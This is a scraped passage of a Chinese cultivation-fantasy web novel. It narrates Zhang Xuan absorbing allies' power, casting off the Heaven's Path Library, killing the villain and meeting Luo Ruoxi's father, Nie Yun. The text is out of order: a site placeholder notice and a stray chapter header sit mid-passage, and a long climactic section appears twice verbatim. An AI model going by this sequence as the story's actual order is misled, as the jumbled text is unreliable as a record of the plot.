一眨眼功夫，众人感觉，眼前的张悬，像是变成了九天，九天就是他。 脚掌在地上轻轻一踏。 混乱的九天，立刻稳定下来。 九天混沌金莲，九天诞生时出现，能够稳定九天，此时分身和自我完美融合，不分彼此，也就等于他掌控了这种力量。 不仅如此，融合了九天混沌金莲的修为，他本就达到巅峰的境界，出现了松动，似乎随时都会突破。 “主仆情、兄弟情、师生情、父母情、爱情……融合在一起，原来就是世间万物，这才是人！” 面带微笑，张悬喃喃自语。 天道图书馆脱离灵魂的刹那，他明白过来。 是人看了世界，才有了世界，还是先有世界，后有了人？ 是风动，还是心动！ 这个问题，亘古不朽的困扰着无数人。 当然，现在……这些都不重要了！ 没有生命，没有情感，世界就算存在，又有何意义？ 所以，突破爱情之后，是众生情！是交织天下的情感。 世间万物皆有情感，有情才有世界，有情感，才能延续生命。 爱，是情。 憎，是情。 高兴，是情。 痛苦，是情。 离别，是情。 相聚，也是情！ “万千情意，为我所用……” 一声低呼，张悬体内禁锢的境界，瞬间破开。 帝君桎梏，突破了！ 一瞬间，仿佛触摸到了一个全新的世界和大门，灵魂得到了快速的滋养。 无数混沌之气，涌了过来，肉身也飞速提升。 之前只有吸收灵力，才能进步，而现在空间乱流、混沌之气，哪怕是对方的青光，都可以为我所有，不分彼此。 “你……”狠人没想到，自己的全力攻击，非但没将其斩杀，反而成全了他，气的“哇哇！”乱叫，一声怒喝，再次攻击下来。 “你怨恨高高在上的帝君，没在空间乱流中救下自己，是情；觉得曾是我的仆人，蕴含卑微和愤怒，是情；想要毁灭神界，发泄愤怒，是情；想要变得更加强大，同样是情……情感控制着你，你又如何胜得过我，不被我控制？” 淡淡一笑，张悬的声音越来越快，越来越响亮，手掌轻轻一抓。 原本纵横无敌的狠人，就被无数情感细线，禁锢在一起，束手束脚，无法动弹。 只要有情，就要被他所用，被他控制！ “你……” 狠人眼中满是惶恐：“张师，我是你的仆人，不要杀我……我愿意灵魂献祭……” “现在再说这些，已经晚了……”微微一笑，张悬摇了摇头。 掌控天下之情，仆人之类对于他来说，已经没任何意义了。 杀了神级这么多人，伤了自己的女朋友，洛七七以及这么多朋友，今天，又怎么可能宽恕！ “不……” 感受到他的果决，狠人瞳孔收缩，话音未结束，立刻感到身上一阵剧烈的疼痛。 嘭！ 一刹那间，爆炸开来，化作无数灵气，向神界各处灌涌。 之前，潮汐海吞噬掉的所有力量，此时全部反哺回来，已经枯竭的荒野，重新焕发生机。 “这……” “这样就杀了？” 云螭大帝、不死帝君、玲珑仙子啊等人，全都瞪大了眼睛，不敢相信。 刚才他们和狠人交过手，知道可怕，这么强大的人，竟然随手覆灭，这位张悬……到底达到了何种地步？ 难道帝君之上，真的还有另外的境界？ “他成功了……” 孔师和洛若曦，松开捏紧的拳头。 “这是天道的一部分，那我现在就归还天道……” 看到刚才从自己体内，被分离出来的“天道有缺”，依旧在空中悬浮，张悬轻轻一笑，屈指一弹。 嗡！ 从重生就伴随他的图书馆，轰然镶嵌在神界的天空之上。 大钟般的鸣响，不断崩溃的神界，肉眼可见的缓慢恢复，混乱的气流，也重新聚拢起来。 崩塌的神界，终于停了下来，干枯的灵气，也伴随狠人的死亡，慢慢复苏。 “看来，神界要重新迎接灵气复苏时代了……”张悬一笑。 潮汐海的窟窿，伴随天道的补全，已经恢复，神界恢复以前的盛况，只是时间问题。 “张悬，这边来……” 刚做完这些，脑中响起一个声音，张悬愣了一下，一步跨出。 这一步，不知飞了多远，随即看到一个青年站在面前。 正是之前传授自己剑法的那位。 “前辈，你……” 看到是他，张悬一愣。 之前就觉得这位，深不可测，现在才发现，比起自己，也只差了一丝而已，已然达到了帝君的最巅峰，比起之前的洛若曦，都强大不知多少。 “直呼我名字即可，我叫……聂铜！”青年身上散发出一往无前的剑意，淡淡道。 “聂铜？”张悬皱了皱眉。 第一次听到这个名字。 “跟我来，带你见我哥哥！”叫做聂铜的青年莞尔一笑，向前跨步而出。 张悬紧跟在身后，不知飞了多远，在一个山峰前停了下来。 随即看到了另外一个青年。 容貌比他大不了多少，双眉上扬，给人一种深邃不可看穿之感。 “这实力……”张悬一颤。 眼前这位青年的实力，竟然比他还要强大，同样突破了帝君的桎梏，而且修为更加深远厚重！ “在下，聂云！”青年淡淡一笑，看了过来：“也就是……聂灵犀，你口中洛若曦的父亲！” “若曦的父亲？” 张悬一震：“你……是神界天道？” 之前洛若曦说过，自己的父亲，是天道，怎么都想不到，是这样一个年轻人。 “我一气化三清，一部分灵魂，变成了天道！再说，这个世界，是我创造的，说我是天道也无不可！”聂云淡淡一笑。 张悬不敢相信。 神界竟然是眼前这人创造的？ 那他的实力，该有多强？ “不对，如果神界是你创造的，你又是天道，为何任由狠人肆虐，而不出手……”张悬看过来。 如果不是自己突破，神界极有可能彻底崩塌，为何眼前这人，不管不问？ 甚至连女儿的生死，都关心？ 没回答他的问题，聂云淡淡的看过来：“你认为……神界之上，还有更加强大的生命吗？” “这……”张悬停顿了一下：“应该有吧……” 虽然没见过，但既然他能修炼到这种境界，或许其他人也可以，甚至更强。 就好像眼前这位。 “我曾怀疑，神界之上会有更强大的生命，所以用尽全力窥视，最终引来了更高世界的反噬……一个手掌破空而下！” 聂云看过来：“当时如果我躲闪，极有可能整个神界都会被抹平，再没有半个生命……所以，挡下了这招，但也因此，化身的天道被分裂出去。” “这种情况，我想恢复，只是一道意念而已，但……我明白，想要真正超脱神界桎梏，去探索手掌由何而来，神界之外，又有什么……单靠我一人很难做到。所以，想要看看，有没有生命，能够突破帝君桎梏，达到和我平齐的地步！” “所以，就将分散的天道意念，送到最底层的世界……分别赐予原本属于这个世界的灵魂，和一个不属于这个世界的灵魂。而你，最终没让我失望！” 聂云笑道。 “不属于这个世界的灵魂，这样说来，我穿越，也是因为你？”张悬心中一震。 难怪，能够穿越过来，没想到都是眼前这位所为。 “呵呵！”聂云轻轻一笑，道：“本身属于这个世界，就有着对世界的敬畏，想要突破世界桎梏，难度要大得多，我也是心念一动，并没想到，你真的能够成功……” “我……”张悬脸色一红：“如果不是孔师，我根本不可能达到这种地步……” 没有孔师的无私奉献，想要达到现在的境界，根本不可能做到。 “机会我给他了，没把握住而已。和灵犀的比斗，其实就是他突破的最佳机会，可惜，他选择了退避，以为自己留了后手，可以全身而退，实际上却是失去了勇猛精进，面对超越我们的人，如果连这点精神都没有，又如何能够与之抗衡？” 聂云道。 张悬沉默不语。 当时二人的战斗，他都看在眼里，孔师的确在果决上有些欠妥。 也有可能，他不愿意斩杀洛若曦吧。 可惜，就这一念之间，错过了晋级的机会。 “如果孔师获胜，若曦就会死……”片刻后，张悬看过来，眉毛皱起。 难不成，眼前这位连女儿的生死都不管了？ “有我在，她不会死……”聂云淡淡一笑：“你现在的实力，和我也差不了多少了，你觉得二人的实力，生死关头，想要救人，能不能做到？” “这……”张悬苦笑。 突破帝君，和帝君，是两个概念，如果他真的愿意出手，的确可以在最后关头将人救下，而且保证，一点伤都受不了。 “灵犀，是我另外一个妻子洛倾城所生，所以她伪装的名字，姓洛……为了能让她相信，不感情用事，到现在一直以为我还陷入昏迷……” 聂云苦笑一声：“我这个爹也算做得够狠了……这样吧，这件事还是你和她解释吧，毕竟，她现在的心思，已经转移到你身上了，我这个老爹，估计都想不起来了……哈哈，我暂时就不出现了，躲避上一段时间再说，不然，真怕她闹得天翻地覆……” 看到眼前这位如此不靠谱的老爹，面皮一抽，张悬只好答应：“好吧……” 不答应也没办法，谁让自己拐走了人家的女儿…… “天道图书馆，是我一道意念所化，是根基，也是桎梏，你能靠自己的能力，突破桎梏，说明了能力和潜力，将来前途无量，我女儿能和你在一起，做父亲的，也算欣慰了。” 正在手打中，请稍等片刻，内容更新后，请重新刷新页面，即可获取最新更新！ 第222章 你骗我 灵魂契约，契合灵魂，只要自己不解除，哪怕对方手段通天，都无法化解。 就好像不死帝君小黄鸡，之前只是神王，他是帝君，同样没办法解决这种约定。 为了防止这家伙变卦，出现反噬的现象，名师大陆就曾专门定下，即便对方可以脱离天道之册，也无法挣脱灵魂间的约定啊！ “灵魂契约，的确无法从识海中分裂出去，但我融合了连天道都可以化解的特殊气体，将这种契约化解掉，并不难……只要有足够力量，轰击契约所在之处，就能做到！” 狠人道。 灵魂契约，是建立在天道基础上的，特殊力量连神界天道都能化解，化解个灵魂契约，只要处理得当，又有何难？ “原来如此……”张悬目光一闪。 “和你说这么多，也算感谢将我带到神界了！” 解释完，狠人不再多说，身上的气息愈发的亘古悠远，身后的黑洞变得更加巨大，显然说话的功夫，又吞噬了不知多少力量，做了滋补。 “张悬，黑洞吞的越多，他的实力越强……” 洛若曦也发现了不对劲，急忙传音过来。 “准备动手吧！”心中疑惑尽消，张悬深吸一口气，手中长剑，陡然扬起：“既然如此，那就手底下见真章吧！” 轰隆！ 最强大的剑意，再次施展而出。 生当复来归，死当长相思！ 生死皆不在乎，又有何事可以阻拦？ 这一招剑法，虽然是没达到帝君领悟的，却蕴含了心中的一切执念，将体内的天若有情功法，发挥到了极限。 呼！ 一剑将狠人的攻击，斩成两半。 同一时刻，洛若曦也出手了，玉手翻滚，剑芒如雪。 她的剑法和剑神天的那位青年有些相似，带着一往无前的气势，和大道自然的潇洒。 “你们的招数是很厉害，但对比我，还是差了些……” 轻轻一笑，狠人再次向下抓来。 一瞬间，遮天蔽日，手掌将天地都笼罩了，空间碎裂，日月星辰都仿佛要被硬生生打下来。 噗！噗！ 张悬和洛若曦同时倒飞而出，人在空中鲜血狂喷。 以二人的实力，竟然抵挡不住！ 这家伙到底达到了何种境界？ “放肆！”分身大步踏来，每走一步，就有莲花绽放，虚空中带着流水的声音。 远远看去，逼格十足。 炼化九天混沌金莲，他的修为比起张悬，丝毫不弱。 一拳扬起，力量冲上九天。 和狠人对碰，同样倒飞而出，挡不住一招。 张悬捂住额头。 成就帝君了，分身依旧不改装逼的本性…… 这么绚丽的装逼，还不如将力量集中起来，威力更大！ “一起出手，不然，他们死了，我们都会死……” 小黄鸡一声大喝，赤红的的火焰燃烧，天空都像被点燃。 剩下六大帝君，也各自施展手段。 七位帝君联合，毁天灭地，一方天地在面前都抵挡不住，但对方是吸收了特殊力量的狠人，攻击来到跟前，黑洞陡然变大，眨眼功夫就将力量吞噬干净，紧着着反击而出。 嘭嘭嘭嘭！ 七位帝君和张悬等人一样，倒飞而出。 十大帝君，联合在一起，竟然都没挡住对方一招！ 这家伙，怎么会这么强大？ “你们可以死了……” 一招击溃众人，狠人向前一步，手腕一翻，再次拍了下来。 “鼠辈敢尔！” 伴随一声大喝，之前剑神天的那位老者，突兀出现，挡在面前，手中长剑化作银河。 “帝君？他也是帝君实力？” 张悬瞳孔一缩。 这位老者当初跟在青年身后，本以为只是个随从，最多封号神王，施展出力量才发现，竟然也是一位帝君强者！ 如果他是帝君，那位青年，是什么？ “他本身就是剑神天的帝君……”挣扎站着身来，洛若曦咬牙道。 “那……传我剑法的青年呢？”张悬再也忍不住。 “他是……”洛若曦刚想回答，空间一阵扭曲，随即看到剑神天的这位帝君，同样倒飞了出去，落在不远处，砸出一个大坑。 张悬现在的实力，和对剑道的领悟，远超过他，都抗衡不住，他即便修为不弱，剑术高明，依旧不是对手。 “哈哈，帝君，一群土鸡瓦狗而已！今天我就灭了九天，灭了这神界，将一切规则踏平！” 将剑神天的帝君击败，狠人疯狂大笑，四周的空间不停坍塌，衬托的他如妖如魔。 “怎么办？”张悬拳头捏紧。 刚才他和分身，都施展出最强战斗力了，甚至眼前的洛若曦，也将最强招数使用了出来，都没挡住对方的一招…… 难道神界，真的没人能够挡住眼前这位？ 任由他将世界毁灭？ “唯一的办法……是将你的天道有缺，回归天道本身，让天道将他镇压……”洛若曦秀拳捏紧，眼眶泛红。 “回归天道本身？”张悬知道她的意思。 脑海中的图书馆，本身是天道的一部分，一旦回归，天道就等于彻底完整了，或许就可以修复漏洞，自我将狠人排斥出去。 就好像人体的免疫系统。 免疫系统完整，病毒来了，轻易驱赶；坏了，抵抗不住病毒入侵，再强壮的人，也会因此死亡。 只是…… “他太强大了，即便天道恢复完整，也无法镇压吧！”张悬摇头。 病毒，免疫系统是可以斩杀，但……猛虎呢？ 再强的免疫系统，又有什么办法？ 眼前这位，只是普通神王，哪怕封号，天道都可以轻易杀死，可比帝君都要强大……已然不是天道可以抗衡的了。 “这……”洛若曦停顿了一下，洁白的玉面上露出失落之色：“是啊……没办法镇压，但是，天道完整，他就能醒过来，斩杀这位，并不难！” “他？”张悬皱眉。 “我带你去见他，就在自在天……”深吸一口气，洛若曦一咬牙，转身就向前飞去。 “想逃？”狠人冷哼，向下一按。 嘭！ 洛若曦从空中坠落。 “你……”张悬剑法再次施展出来，剑意辉煌而出。 叮叮叮！ 再次被狠人挡住。 “你们快走，我来挡住他……” 知道他们再想拯救神界的方法，而不是逃走，分身和不死帝尊，一声大喝挡在前面，洛七七也摇身一变，回归静空珠本体。 四周的空间凝固起来。 “走！” 见众人奋不顾身挡在后面，无畏惧死亡，张悬眼眶一红，不过，也知道现在不是多说的时候，一拉洛若曦，身体一晃，划破空间，下一刻已经出现在了自在天的范围。 自在天现在已经没了之前的自在，神界崩塌，四处一片混乱。 “你说的他，在哪里？” 没空去观察普通人的生活，张悬看向怀中的女孩。 如果她说的那人，真能拯救神界，自己牺牲又何妨！ “他是我的父亲，你吊坠中的血液，就是他的，不死帝君，曾是他的兽宠……”洛若曦调息了一下，解释道。 “父亲？” 张悬恍然大悟。 难怪一直觉得吊坠中的血液和洛若曦相似，却又不同，原来是她父亲的。 这样也就解释了，为何不死帝君留下的那道意念，看到吊坠后，立刻认自己为主。 “你父亲也是帝君？或者拥有超越帝君的实力？” 忍不住道。 图书馆混乱，是吊坠中的血液，让自己恢复清醒，难不成，不仅她是帝君，父亲也是，甚至更加强大？ 如果是这样的话，又为何会昏迷？ 又需要天道有缺，才能让其清醒？ “他不是帝君，而是……天道！” 洛若曦秀拳捏紧。 “天道？你父亲……是天道？”张悬一震，不敢相信。 “是！五十年前，父亲抵挡不住那只大手，陷入昏迷，天道崩散成三部分，天道有序和天道有缺，进入空间乱流，我代为掌控天道自然，维持神界的平衡。想要让他恢复，只有将散开的部分收集……所以，我才如此决绝，不能失败！才专门进入名师大陆，研究春秋大典，想办法战胜孔师！和孔师战斗的时候，拜托他的事，也是这个。” 洛若曦道。 张悬恍然。 名师大陆刚认识不久，眼前的女孩，就和自己讲述过她的故事，要救一位至亲，自己当时还不明白，现在才恍然大悟。 竟然是她父亲，而且还是神界天道！ 天道真的能够化成人形，并且生儿育女吗？ “代为掌控天道自然……你体内，没有天道碎片？”突然，意识到她语言中的不对劲，张悬看过来。 代为掌控，和自己这种融合在体内，是两种概念。 “我只是掌控，并不是天道的一部分……”洛若曦道。 张悬松了口气。 这样说起来，只需要自己将天道有缺剥离出来就行了，并不需要她也死亡。 尽管这种命运，不愿意接受，却也不愿意眼前的女孩，受到伤害。 “我将体内的天道有缺剥离出来，你父亲就能活过来，甚至将狠人击杀是吧？”张悬看来。 “这……我也不确定……” 抬头看了看已经崩塌的神界，洛若曦迟疑。 神界是父亲的根基，现在根基都这样了，就算清醒，真的能够将那个强大的狠人击败吗？ 真不好说！ “看来你也不能肯定，既然如此，求人不如求己……我们只有自己想办法！”张悬咬了咬牙：“你、我、分身，联合九天九帝，如果在配合上孔师，未必不能获胜！” “孔师？他……”洛若曦皱眉。 “孔师已经死了是吧！他并未真正死亡，如果猜的没错，他被你斩杀，只是用来脱离天道的方法……不出意外，他应该和魏长风一样，是【先天胎魂体】！” 张悬道。 看到魏长风，就明白过来，孔师所谓的保持灵智，应该和他一样，是先天胎魂体。 可以做到胎中不迷。 再加上提前留下的后手，复活，只是时间问题。 洛若曦愣住，似乎她没想到，会是这样。 “过去看看就知道了，猜的不错，他应该已经恢复，不然，他的那些学生，不可能连潮汐海都没去……”张悬道。 孔师的那些学生，子渊古圣等人，个个实力强劲，就算没有帝君帮助，也必然有办法进入潮汐海，可却一个都没见。 必然是有更重要的事情等着，想要趁所有帝君去潮汐海无暇顾及的时候去做！ 而这种重要的事，明显就是让孔师恢复。 “这……”洛若曦心中一震，恍然大悟。 “走吧！” 不再解释，单手一划，张悬重新来到孔师居住的所在，果然看到一个老者盘膝悬浮在空中，见他们来到，微微一笑：“来了！” 不是孔师，又是何人！ 这位万世之师，果然没让自己失望！ 和猜测的一样，趁着所有人都将注意力集中在潮汐海的时候，重新复活了。 “你……”洛若曦娇躯一震。 她知道帝君可以复活，不死帝君也活过来了，但……没想到速度这么快！ “我隐瞒天道，提前就准备了后手，幽魂池中的那个没有名字的巨人，就是我留下的，当日被你斩杀，我借机摆脱了天道的束缚，重新凝聚肉身，现在也刚刚恢复罢了！” 孔师微微一笑。 他精通时间能力，看起来神界只过了一、两天，实际上为了恢复力量，经历了不知多久。 几十年的时光，都有了。 “我们三人的实力，是很强，但想要胜过狠人，也没那么容易……” 见孔师果真恢复，洛若曦依旧摇头。 不是涨他人威风，灭自己志气，而是事实。 刚才这么多人联合，都没挡住对方，即便增加一个孔师，又能如何？ 同样改变不了局面！ “我们单个的实力，甚至联合在一起，的确不是对方的对手，但……如果将所有人的力量，都融合在一个人的身上呢？” 孔师笑着看过来。 “融合在一个人身上？” 这次不光洛若曦皱眉，张悬也满是疑惑。 “那个手掌能够撕裂神界，将天道都打散，实力之强，不容置疑，狠人将这股力量全部吸收，又吞噬了神界五十年的灵气，单凭实力，我们十几位帝君，单个拿出来，的确不是对手……” 孔师道：“但联合在一起，将力量集中在一人身上……就未必了吧！” “如何集中？” 洛若曦看过来。 说的简单，做起来难。 帝君已经站在神界最巅峰了，如果这么容易吸收别人的力量，她也不至于这么多年，停滞不前。 “很简单……我们将身上的力量，集中在张悬身上，一旦他能冲破帝君桎梏，就能救下神界！” 孔师道。 “我？”张悬一愣：“为什么是我？” “灵犀帝尊修炼的是自由自在，超脱自然！但有了父亲和天道的制约，有了牵挂的人，就永远没办法真正超脱！如果我没看错，当初和我战斗的时候，你也曾放弃过，打算被我斩杀吧！” 孔师道。 洛若曦说不出话来。 战斗的时候，的确有过这种打算，所以二人的交手，刚开始的时候，各自留着后手，宛如切磋，不像生死搏斗。 “无法超脱，自然也就发挥不出最强力量，即便给与再多的真气，同样无法冲击那至高的境界！至于我……” 孔师点头道：“心怀苍生，想要普度天下，却不愿意别人为我牺牲，仁慈太多，也是缺点！如果心狠一些，将异灵族灭族，就不会有现在的局面……” 当初如果能将异灵族人全部灭杀，狠人就不可能复活，也不会有现在的情况。 “所以，我也不适合！而张悬，功法顺心，没有缺陷。讲究活出自我，哪怕身死，只要活得无愧，就心中坦荡。这种人拥有更大的包容，更大的发展空间，只有这样，才能走的更高，更远！” 孔师继续道。 生当复来归，死当长相思！ 连死亡都不在乎，又怎么会被其他事情所羁绊？ “这……”张悬皱眉，正想说些什么，就见孔师目光炯炯的看过来：“不用推辞了，先说时间来不及，去培养其他人，就算来得及，我也觉得未必有人能比你做得更好！灵犀帝尊体内虽没有天道碎片，却常年掌控天道，对天道有着属于自己的理解；我掌控天道有序，如果我们将力量灌输给你，你体内就会拥有完整天道的力量！配合上分身的九天混沌金莲，完全可以做到定九天，掌乾坤，战九霄，灭万物！” “好吧！” 见对方已经做出决定，自己解释再多也无用，张悬点了点头。 轰隆！ 盘膝做好，一眨眼功夫，两股雄浑的力量，就从两侧灌涌而来。 张悬全身一僵，整个人仿佛刹那间化身天道，翱翔在九天之上。 灵魂、肉身、真气，都在瞬间得到了洗礼，越来越强，越来越雄浑。 …… “你们也想拦我？也好，杀了你们，再去将张悬斩杀……” 将洛七七和分身等人拍飞，狠人冷冷一笑。 分身和诸多帝君联合施展而出的力量，的确很强大，不过，和他比，依旧弱了一些。 潮汐海将神界出了城市外的灵气，几乎全部吞噬干净，现在这些力量，都化作他的寄养，举手投足，带着毁灭天地的能力，这些帝君、神王，尽管代表了神界最巅峰，依旧不堪一击。 此时的狠人，仿佛代表了整个神界，无人能挡。 “神界灭亡，我们活着也没意义，我云螭，与你同归于尽……” 云螭大帝变化出本体，一头巨大的五爪金龙，凌空向他扑了过去。 “就你？不配！” 狠人手掌一捏，金龙就挂在掌心，无论如何挣扎，都逃脱不掉。 “老友，等我！” 扶猛帝君也一声大吼，变化出白虎本尊，凌空来到跟前。 不死帝君，不死火凤本尊显示出来，火焰照耀天空。 玄冥大帝，本尊乃一头大龟，宛如托举着诸天。 四大神兽，镇守神界四极，同时变化本体，崩塌的神界，都变得缓慢下来。 乾坤仿佛在瞬间定住。 嘭嘭嘭嘭！ 连续四掌，狠人将四兽镇压下来，眼中闪过一道浓烈的杀意：“既然你们找死，我就成全你们……” 咆哮声中，正想下死手将众人全部抹杀，就感到扬起的手臂一紧，在空中停了下来。 “想要杀他们，问过我没有……” 随即，众人震惊的目光中，一个人影从空中缓步走了出来。 正是张悬！ 此时的青年，全身力量澎湃，比刚才强大了十倍不止，自天而来，宛如整个人就是一个世界。 “进步了不少……” 狠人停了下来，目光凝重。 他显然也没明白，为何短短几分钟的光景，对方的实力有了如此巨大的变化。 “不过，增加了又如何？全盛期的神界，都抵挡不住，我不信，你能挡得住我……” 一声冷哼，狠人再次拍落而下。 张悬长剑扬起，迎了上来。 双方战斗在一起，空间一道道撕裂，气流四处乱窜。 “张悬能不能获胜？” 自在天孔师驻地，洛若曦满是担忧的看过去。 她和孔师将力量传递给张悬，自身修为，已经降低到只有神王级别，不如之前那么辉煌了。 不过，级别在哪里摆着，只要力量足够，终有一天，可以重新恢复。 “凭借现在的实力，想要胜过……很难！除非……他能领悟超越帝君的力量！” 沉默了片刻，孔师道。 十几个帝君联合，都无法胜过狠人，即便他们将力量全部传递给对方，想要胜过，也没那么容易。 之所以这样做，是因为……力量只有集中在一人身上，才有可能触碰到顶点，才有可能真正超越极限，突破自我！ “超越帝君的力量？” 洛若曦眼神悠远。 父亲还清醒的时候，曾和她说过同样的话，但……她无法做到，自己心爱的男子，能够做到吗？ “他一定能……他有着一颗不屈的心！和对这个世界的傲然。” 看出她心中的疑问，孔师笑道。 …… 嘭嘭嘭！ 连续几招下来，张悬虎口开裂，胸口出现了一道巨大的伤痕，狰狞可怖。 和孔师说的一样，即便融合了他们二人的力量，体内形成了完整的天道，依旧不是对手。 “哈哈，还以为多厉害，不过如此！”狠人冷冷一笑。 “反正不是你的对手，早晚都会被杀，既然如此，我想死在你最强的攻击之下……”深吸一口气，张悬停了下来，不在进攻，反而看向眼前的狠人。 “好，我成全你，给你最强的攻击……” 听他这样说，狠人愣了一下，随即冷哼一声，手掌扬起。 哗啦！ 一道青光出现在掌心，猛地拍落而下。 果然是最强攻击，整个神界都发出轰鸣，宛如快要承受不住，再次被打出一个巨大的坑洞。 双眼紧闭，张悬并未躲避。 嘭！ 脑袋炸裂开来，灵魂四处溃散。 “张悬……”看到这一幕，所有人都脸色一白。 洛七七宛如发疯。 云螭大帝等人也瞪大眼睛，不停哆嗦。 看到这一幕的孔师和洛若曦也全都一愣。 本意是让他突破桎梏，冲击超越帝境境界的，怎么不去反抗，甘心赴死？ 这样，岂不辜负了他们的一番好心？ “不对，是不死帝君的不死之法……” 正在奇怪，孔师突然开口。 众人随即看到，脑袋炸开，甚至灵魂碎裂的张悬，胸口的吊坠陡然炸开，一滴血液悬浮而起，燃烧起来，形成了一团炙热的火焰，火焰中，一具完好无损的身影，缓步而出。 “他……借助对方的力量，和吊坠中的血液，将天道有缺和灵魂分离了？” 洛若曦瞳孔收缩。 浴火重生后的张悬，体内竟然没了天道图书馆，没了天道的干扰，脱离了天道！ “他怎么做到的？” 孔师也满是不敢相信。 天道和灵魂融合在一起，不分彼此，为了摆脱，他不得不魂飞魄散，借助幽魂池重新凝聚魂魄。 眼前这位，只被斩杀了一下，就彻底摆脱，用了什么办法？ “我知道了……他用了狠人摆脱灵魂契约的办法……”洛若曦反应过来。 灵魂契约绑定主人和仆人，主人不解除，仆人就永远受制……天道图书馆也是这样，可以说是一种增强版的契约。 绑定了灵魂，不死不会脱离。 但……狠人借助那种特殊力量摆脱了灵魂契约，具体方法，张悬之前详细询问过，恐怕那时就动了心思。 这才故意拼死，让其施展出最强力量对他攻击。 借助这种力量，浴火重生，没想到，果然大获成功！ “原来如此，这才是突破帝君的方法……” 从火焰中走出的张悬，脸上露出淡淡的微笑，像是明白了什么，突然一招手，一侧的分身，立刻重新变成一朵莲花，飞了过来。 刹那间，与自身完美融合。 一眨眼功夫，众人感觉，眼前的张悬，像是变成了九天，九天就是他。 脚掌在地上轻轻一踏。 混乱的九天，立刻稳定下来。 九天混沌金莲，九天诞生时出现，能够稳定九天，此时分身和自我完美融合，不分彼此，也就等于他掌控了这种力量。 不仅如此，融合了九天混沌金莲的修为，他本就达到巅峰的境界，出现了松动，似乎随时都会突破。 “主仆情、兄弟情、师生情、父母情、爱情……融合在一起，原来就是世间万物，这才是人！” 面带微笑，张悬喃喃自语。 天道图书馆脱离灵魂的刹那，他明白过来。 是人看了世界，才有了世界，还是先有世界，后有了人？ 是风动，还是心动！ 这个问题，亘古不朽的困扰着无数人。 当然，现在……这些都不重要了！ 没有生命，没有情感，世界就算存在，又有何意义？ 所以，突破爱情之后，是众生情！是交织天下的情感。 世间万物皆有情感，有情才有世界，有情感，才能延续生命。 爱，是情。 憎，是情。 高兴，是情。 痛苦，是情。 离别，是情。 相聚，也是情！ “万千情意，为我所用……” 一声低呼，张悬体内禁锢的境界，瞬间破开。 帝君桎梏，突破了！ 一瞬间，仿佛触摸到了一个全新的世界和大门，灵魂得到了快速的滋养。 无数混沌之气，涌了过来，肉身也飞速提升。 之前只有吸收灵力，才能进步，而现在空间乱流、混沌之气，哪怕是对方的青光，都可以为我所有，不分彼此。 “你……”狠人没想到，自己的全力攻击，非但没将其斩杀，反而成全了他，气的“哇哇！”乱叫，一声怒喝，再次攻击下来。 “你怨恨高高在上的帝君，没在空间乱流中救下自己，是情；觉得曾是我的仆人，蕴含卑微和愤怒，是情；想要毁灭神界，发泄愤怒，是情；想要变得更加强大，同样是情……情感控制着你，你又如何胜得过我，不被我控制？” 淡淡一笑，张悬的声音越来越快，越来越响亮，手掌轻轻一抓。 原本纵横无敌的狠人，就被无数情感细线，禁锢在一起，束手束脚，无法动弹。 只要有情，就要被他所用，被他控制！ “你……” 狠人眼中满是惶恐：“张师，我是你的仆人，不要杀我……我愿意灵魂献祭……” “现在再说这些，已经晚了……”微微一笑，张悬摇了摇头。 掌控天下之情，仆人之类对于他来说，已经没任何意义了。 杀了神级这么多人，伤了自己的女朋友，洛七七以及这么多朋友，今天，又怎么可能宽恕！ “不……” 感受到他的果决，狠人瞳孔收缩，话音未结束，立刻感到身上一阵剧烈的疼痛。 嘭！ 一刹那间，爆炸开来，化作无数灵气，向神界各处灌涌。 之前，潮汐海吞噬掉的所有力量，此时全部反哺回来，已经枯竭的荒野，重新焕发生机。 “这……” “这样就杀了？” 云螭大帝、不死帝君、玲珑仙子啊等人，全都瞪大了眼睛，不敢相信。 刚才他们和狠人交过手，知道可怕，这么强大的人，竟然随手覆灭，这位张悬……到底达到了何种地步？ 难道帝君之上，真的还有另外的境界？ “他成功了……” 孔师和洛若曦，松开捏紧的拳头。 “这是天道的一部分，那我现在就归还天道……” 看到刚才从自己体内，被分离出来的“天道有缺”，依旧在空中悬浮，张悬轻轻一笑，屈指一弹。 嗡！ 从重生就伴随他的图书馆，轰然镶嵌在神界的天空之上。 大钟般的鸣响，不断崩溃的神界，肉眼可见的缓慢恢复，混乱的气流，也重新聚拢起来。 崩塌的神界，终于停了下来，干枯的灵气，也伴随狠人的死亡，慢慢复苏。 “看来，神界要重新迎接灵气复苏时代了……”张悬一笑。 潮汐海的窟窿，伴随天道的补全，已经恢复，神界恢复以前的盛况，只是时间问题。 “张悬，这边来……” 刚做完这些，脑中响起一个声音，张悬愣了一下，一步跨出。 这一步，不知飞了多远，随即看到一个青年站在面前。 正是之前传授自己剑法的那位。 “前辈，你……” 看到是他，张悬一愣。 之前就觉得这位，深不可测，现在才发现，比起自己，也只差了一丝而已，已然达到了帝君的最巅峰，比起之前的洛若曦，都强大不知多少。 “直呼我名字即可，我叫……聂铜！”青年身上散发出一往无前的剑意，淡淡道。 “聂铜？”张悬皱了皱眉。 第一次听到这个名字。 “跟我来，带你见我哥哥！”叫做聂铜的青年莞尔一笑，向前跨步而出。 张悬紧跟在身后，不知飞了多远，在一个山峰前停了下来。 随即看到了另外一个青年。 容貌比他大不了多少，双眉上扬，给人一种深邃不可看穿之感。 “这实力……”张悬一颤。 眼前这位青年的实力，竟然比他还要强大，同样突破了帝君的桎梏，而且修为更加深远厚重！ “在下，聂云！”青年淡淡一笑，看了过来：“也就是……聂灵犀，你口中洛若曦的父亲！” “若曦的父亲？” 张悬一震：“你……是神界天道？” 之前洛若曦说过，自己的父亲，是天道，怎么都想不到，是这样一个年轻人。 “我一气化三清，一部分灵魂，变成了天道！再说，这个世界，是我创造的，说我是天道也无不可！”聂云淡淡一笑。 张悬不敢相信。 神界竟然是眼前这人创造的？ 那他的实力，该有多强？ “不对，如果神界是你创造的，你又是天道，为何任由狠人肆虐，而不出手……”张悬看过来。 如果不是自己突破，神界极有可能彻底崩塌，为何眼前这人，不管不问？ 甚至连女儿的生死，都关心？ 没回答他的问题，聂云淡淡的看过来：“你认为……神界之上，还有更加强大的生命吗？” “这……”张悬停顿了一下：“应该有吧……” 虽然没见过，但既然他能修炼到这种境界，或许其他人也可以，甚至更强。 就好像眼前这位。 “我曾怀疑，神界之上会有更强大的生命，所以用尽全力窥视，最终引来了更高世界的反噬……一个手掌破空而下！” 聂云看过来：“当时如果我躲闪，极有可能整个神界都会被抹平，再没有半个生命……所以，挡下了这招，但也因此，化身的天道被分裂出去。” 